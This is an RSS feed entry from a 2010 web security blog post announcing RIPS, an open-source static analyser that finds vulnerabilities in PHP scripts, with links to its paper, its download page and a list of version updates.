		<link>http://websec.wordpress.com/2010/06/11/rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/</link>
		<comments>http://websec.wordpress.com/2010/06/11/rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 20:34:36 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[PHP Analyser]]></category>
		<category><![CDATA[PHP Scanner]]></category>
		<category><![CDATA[RIPS]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=340</guid>
		<description><![CDATA[In the last years I have been working on my PHP Scanner (now called RIPS) which has been released recently during the Month Of PHP Security and was awarded as the 2nd best external submission. RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=340&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In the last years I have been working on my <a href="http://websec.wordpress.com/projects/">PHP Scanner</a> (now called RIPS) which has been released recently during the <a href="http://www.php-security.org">Month Of PHP Security</a> and was awarded as the 2nd best external submission.<br />
RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static source code and taint analysis. It is open source and freely available at <a href="http://sourceforge.net/projects/rips-scanner/">SourceForge</a> (yey!).</p>
<p><a href="http://websec.files.wordpress.com/2007/11/rips1.jpg"><img src="http://websec.files.wordpress.com/2007/11/rips1.jpg?w=450" alt="" title="RIPS"   class="aligncenter size-full wp-image-336" /></a></p>
<p>Before using it I recommend reading the paper (<a href="http://www.php-security.org/2010/05/24/mops-submission-09-rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/index.html">HTML</a>, <a href="http://sourceforge.net/projects/rips-scanner/files/rips.pdf/download">PDF</a>) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.<br />
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests. </p>
<p><a href="http://sourceforge.net/projects/rips-scanner/files/">[download RIPS]</a></p>
<p><strong>Update 04.07.10:</strong> A new version 0.31 has been released.<br />
<strong>Update 13.08.10:</strong> A new version 0.32 has been released.<br />
<strong>Update 11.09.10:</strong> A new version 0.33 has been released.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/340/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=340&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2010/06/11/rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2007/11/rips1.jpg" medium="image">
			<media:title type="html">RIPS</media:title>
		</media:content>
	</item>
	</channel>
</rss>
